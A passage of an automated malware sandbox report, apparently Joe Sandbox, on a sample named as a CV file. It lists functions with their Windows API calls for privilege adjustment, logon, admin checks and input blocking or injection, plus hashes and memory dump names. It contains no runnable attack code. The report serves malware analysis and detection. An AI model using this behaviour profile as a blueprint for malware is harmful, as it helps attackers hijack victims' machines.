                                                                          • Instruction Fuzzy Hash: 60119AB2900305AFE718AFA4DC86D6ABBB9FB48311B24852EE05693240DB70EC41CB60
                                                                          Function 005D6606 Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 005D6623
                                                                          • DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 005D6664
                                                                          • CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 005D666F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CloseControlCreateDeviceFileHandle
                                                                          • String ID:
                                                                          • API String ID: 33631002-0
                                                                          • Opcode ID: 1c74416e1fe7826cd66c45e98ad800bd2f846edb4e885b59b002507abcf3dbe2
                                                                          • Instruction ID: edf36d4418cb8f0220e0e4ffc7bd51dc710dfcf9a975ce7da3da01ced8c0efb5
                                                                          • Opcode Fuzzy Hash: 1c74416e1fe7826cd66c45e98ad800bd2f846edb4e885b59b002507abcf3dbe2
                                                                          • Instruction Fuzzy Hash: 17111E71E01228BFDB108FA9DC45BEEBBBDEB49B50F108156F910E7290D7B05A058BA5
                                                                          Function 005D71FA Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 005D7223
                                                                          • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 005D723A
                                                                          • FreeSid.ADVAPI32(?), ref: 005D724A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                          • String ID:
                                                                          • API String ID: 3429775523-0
                                                                          • Opcode ID: e5ed911577f35964dadeee5156335a18e3c0048a0255f91a492621044ae5d1a7
                                                                          • Instruction ID: 5620aa0aadc7685a0f8d98abbacefc9f5d80fa6b2ca8379f1ff059b9796465dc
                                                                          • Opcode Fuzzy Hash: e5ed911577f35964dadeee5156335a18e3c0048a0255f91a492621044ae5d1a7
                                                                          • Instruction Fuzzy Hash: C3F01275904209BFDF04DFE4DD89AEDBBB9FF0C301F10946AA502E2191E37457448B10
                                                                          Function 005DF56F Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindFirstFileW.KERNEL32(?,?), ref: 005DF599
                                                                          • FindClose.KERNEL32(00000000), ref: 005DF5C9
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Find$CloseFileFirst
                                                                          • String ID:
                                                                          • API String ID: 2295610775-0
                                                                          • Opcode ID: b85527f458a80dda391ded48fe0e6e405d2e7357946a55d2f04659369512c125
                                                                          • Instruction ID: c671e61b93c44b940d222af69bec6d332c750b65862bcd0449a6740b3b5ae24e
                                                                          • Opcode Fuzzy Hash: b85527f458a80dda391ded48fe0e6e405d2e7357946a55d2f04659369512c125
                                                                          • Instruction Fuzzy Hash: C41165716046019FD710EF28D849A6EB7E5FF85324F04895EF865D7391DB30AD058B81
                                                                          Function 005DCE7A Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,005EBE6A,?,?,00000000,?), ref: 005DCEA7
                                                                          • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,005EBE6A,?,?,00000000,?), ref: 005DCEB9
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorFormatLastMessage
                                                                          • String ID:
                                                                          • API String ID: 3479602957-0
                                                                          • Opcode ID: 01d8e81de405b0b2ad51b21254c4ef0b2c96a4e91f43d8352dc2ecc6d2a1b22e
                                                                          • Instruction ID: 5dc20e61494b14336293e0ae9b92855ddef3e9e058989913f90875a3586e7298
                                                                          • Opcode Fuzzy Hash: 01d8e81de405b0b2ad51b21254c4ef0b2c96a4e91f43d8352dc2ecc6d2a1b22e
                                                                          • Instruction Fuzzy Hash: 1CF0827510022ABBDB219BA4DC49FEA7B6EFF09351F008166F915D6181D6309A44CBA0
                                                                          Function 005D411C Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 005D4153
                                                                          • keybd_event.USER32(?,76C1C0D0,?,00000000), ref: 005D4166
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: InputSendkeybd_event
                                                                          • String ID:
                                                                          • API String ID: 3536248340-0
                                                                          • Opcode ID: 9ff3955914ef3607493fbe1f4fb069453e3b39ed2c5c430f134146099559120b
                                                                          • Instruction ID: 21756cde624f0aa2fa2d4f8441dd9d33659bb9f8107f8584072fed70396bc870
                                                                          • Opcode Fuzzy Hash: 9ff3955914ef3607493fbe1f4fb069453e3b39ed2c5c430f134146099559120b
                                                                          • Instruction Fuzzy Hash: DAF0677080028DAFDB059FA4C805BFE7FB1FF00305F04840AF966A6292D7798612DFA0
                                                                          Function 005CAB84 Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,005CACC0), ref: 005CAB99
                                                                          • CloseHandle.KERNEL32(?,?,005CACC0), ref: 005CABAB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AdjustCloseHandlePrivilegesToken
                                                                          • String ID:
                                                                          • API String ID: 81990902-0
                                                                          • Opcode ID: 0382352ac9dbe54196aeadf9d7910643a2b31dd9deaf8daab76adcba619351ec
                                                                          • Instruction ID: 1a7d96bedaa2f51efa4caedd65b928f2b27b63422738120c9878ab4e1c2f9fb3
                                                                          • Opcode Fuzzy Hash: 0382352ac9dbe54196aeadf9d7910643a2b31dd9deaf8daab76adcba619351ec
                                                                          • Instruction Fuzzy Hash: 4DE0E671000611AFE7252F55EC09DB7BFEAFF45321714C42DF45981470D7625D91DB50
                                                                          Function 005B81AC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000,0000000E,005B6DB3,-0000031A,?,?,00000001), ref: 005B81B1
                                                                          • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 005B81BA
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ExceptionFilterUnhandled
                                                                          • String ID:
                                                                          • API String ID: 3192549508-0
                                                                          • Opcode ID: 555647fd3fabda1cf35c3a8af79e802c20cc4e25b27fbbd8ab47de9119a06731
                                                                          • Instruction ID: a81f579eddb89303fdcc23a07bc0aa070785ee6ba322f746c80f117748902c4b
                                                                          • Opcode Fuzzy Hash: 555647fd3fabda1cf35c3a8af79e802c20cc4e25b27fbbd8ab47de9119a06731
                                                                          • Instruction Fuzzy Hash: 1DB09231044608FBDB002BA1EC09B98BF6AEB0A652F089012F62D84061CB7254109A92
                                                                          Function 005BD1B9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7077836276758b27c9832fb3a34021668bf4fda7ef75ed141b7d755fe916298c
                                                                          • Instruction ID: eb54e14cd080484c5a3d591bdef3438f50a7517da354b5f27f0b2a7b95799551
                                                                          • Opcode Fuzzy Hash: 7077836276758b27c9832fb3a34021668bf4fda7ef75ed141b7d755fe916298c
                                                                          • Instruction Fuzzy Hash: 88323521D29F024DD7239634C832376A699BFB73D4F15E737E81AB5DA6EB28D4834110
                                                                          Function 005996C0 Relevance: 2.1, APIs: 1, Instructions: 573COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __itow__swprintf
                                                                          • String ID:
                                                                          • API String ID: 674341424-0
                                                                          • Opcode ID: 0611904ea141dc6ee192e208f3c6c5acb0098ae9f45a1a9208a1077c1becb445
                                                                          • Instruction ID: 2daf559b49196c1815f9351fa632744b5e3d436fcb22ae7472b164d9f08b7ad9
                                                                          • Opcode Fuzzy Hash: 0611904ea141dc6ee192e208f3c6c5acb0098ae9f45a1a9208a1077c1becb445
                                                                          • Instruction Fuzzy Hash: B12256716083029FDB24DF18C895BAFBBE5FB85310F104A1DF89A97291DB71E944CB92
                                                                          Function 005C038E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2bc660856798ecc7a25dda06adb5d179c38b18c66cf35dd9817ddf4b70632564
                                                                          • Instruction ID: 3fe1a0bfc750fd8c75c2a3cf7be6a7b13b3bd462857822ea2e0bfd188a283f25
                                                                          • Opcode Fuzzy Hash: 2bc660856798ecc7a25dda06adb5d179c38b18c66cf35dd9817ddf4b70632564
                                                                          • Instruction Fuzzy Hash: F3B1CE20D2AF414DD73396398831336BA5DAFBB2D5B91E71BFC2B74D66EB2185834180
                                                                          Function 005DB6CC Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __time64.LIBCMT ref: 005DB6DF
                                                                            • Part of subcall function 005B344A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,005DBDC3,00000000,?,?,?,?,005DBF70,00000000,?), ref: 005B3453
                                                                            • Part of subcall function 005B344A: __aulldiv.LIBCMT ref: 005B3473
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Time$FileSystem__aulldiv__time64
                                                                          • String ID:
                                                                          • API String ID: 2893107130-0
                                                                          • Opcode ID: 2d654f04e80fd2aa0c154bcf78348476ccc154d1b26412c1f33b8587fe199c00
                                                                          • Instruction ID: 9e1fae76cfd28d2d6af5d4ebce23ef92f11b969f418106aa35d64a29b4910515
                                                                          • Opcode Fuzzy Hash: 2d654f04e80fd2aa0c154bcf78348476ccc154d1b26412c1f33b8587fe199c00
                                                                          • Instruction Fuzzy Hash: 8521A276634610CBD729CF28C481A92BBE2EB95311B248E6EE4E5CB2C0CB74B905CB54
                                                                          Function 005E6AAF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • BlockInput.USER32(00000001), ref: 005E6ACA
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BlockInput
                                                                          • String ID:
                                                                          • API String ID: 3456056419-0
                                                                          • Opcode ID: e07162f88d5bab5d3a2ec34d3dbf2b4848658ad81c21f2a2cc83c33735475b40
                                                                          • Instruction ID: 4704aee202fd49672c497d1a0707d070d0311aa365614c1a944bd4da4549a4a2
                                                                          • Opcode Fuzzy Hash: e07162f88d5bab5d3a2ec34d3dbf2b4848658ad81c21f2a2cc83c33735475b40
                                                                          • Instruction Fuzzy Hash: 9AE04835600205AFCB00EF59D415D9ABBEDBFB47A1F08C426F945D7251DAB0F8048BA0
                                                                          Function 005D74E7 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 005D750A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: mouse_event
                                                                          • String ID:
                                                                          • API String ID: 2434400541-0
                                                                          • Opcode ID: 070f74956f0383077c87bcf8e559391191cfb1f75e37c9dd66af18cbd54458b7
                                                                          • Instruction ID: f497eb0b76b2064696cfbd83779ab8b1da2b55fd226a4b4e1ddd2ed8034cb941
                                                                          • Opcode Fuzzy Hash: 070f74956f0383077c87bcf8e559391191cfb1f75e37c9dd66af18cbd54458b7
                                                                          • Instruction Fuzzy Hash: BDD067B416C61D6AED3A0728AC1BFB65D09B348782FD4554B7612992C0B8945D81A132
                                                                          Function 005CB106 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,005CAD3E), ref: 005CB124
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: LogonUser
                                                                          • String ID:
                                                                          • API String ID: 1244722697-0
                                                                          • Opcode ID: 82771284effa2ce11f971657e5770cfd6bfba9ddad54ae9554085ac23ee9a062
                                                                          • Instruction ID: 79638fe2f8d2c5731594bac55a9b1d4483cc0e7631b220008de58b36e6865c67
                                                                          • Opcode Fuzzy Hash: 82771284effa2ce11f971657e5770cfd6bfba9ddad54ae9554085ac23ee9a062
                                                                          • Instruction Fuzzy Hash: 9ED05E320A464EAEDF028FA4DC02EAE3F6AEB04701F448111FA11C50A0C671D531AB50
                                                                          Function 0060B340 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: NameUser
                                                                          • String ID:
                                                                          • API String ID: 2645101109-0
                                                                          • Opcode ID: daec12404983259e87e9e0a9bfda345cfe9bd9b95e09c707a1f54fd93bf25f20
                                                                          • Instruction ID: fb2bca7f4bc614164358a6012cc5053e31335d3545b20c786c5969352ab9f376
                                                                          • Opcode Fuzzy Hash: daec12404983259e87e9e0a9bfda345cfe9bd9b95e09c707a1f54fd93bf25f20
                                                                          • Instruction Fuzzy Hash: C8C04CB1400109DFD755CFC0C9449EFB7BDAB08305F145092D105F1150D7709B459B72
                                                                          Function 005B8189 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetUnhandledExceptionFilter.KERNEL32(?), ref: 005B818F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ExceptionFilterUnhandled
                                                                          • String ID:
                                                                          • API String ID: 3192549508-0
                                                                          • Opcode ID: 8e80eecb1a3fc2aa9c2e04ed16e6aec7581455d839230a799a8fdd972f77a7c5
                                                                          • Instruction ID: ac90252493bfe37f51a56412e488509391ff741e9340661711a410c463217932
                                                                          • Opcode Fuzzy Hash: 8e80eecb1a3fc2aa9c2e04ed16e6aec7581455d839230a799a8fdd972f77a7c5
                                                                          • Instruction Fuzzy Hash: 14A0223000020CFBCF002F82FC088C8BF2EFB022A0B088022F80C80030CB33A820AAC2
                                                                          Function 0059E3B0 Relevance: .5, Instructions: 540COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 8f88f83e3d0a9e884af07b27fcdf887b3809277305aae7b4405955a9ceae1820
                                                                          • Instruction ID: 7b8e6d2ce5bac3a06074e64481d5784719c475999833d25627e0982cb279b035
                                                                          • Opcode Fuzzy Hash: 8f88f83e3d0a9e884af07b27fcdf887b3809277305aae7b4405955a9ceae1820
                                                                          • Instruction Fuzzy Hash: 9F22B070E00216DFDF24DF98D486AAEBBB1FF58304F148469D94A9B391E731AD81CB91
                                                                          Function 005993F0 Relevance: .5, Instructions: 531COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
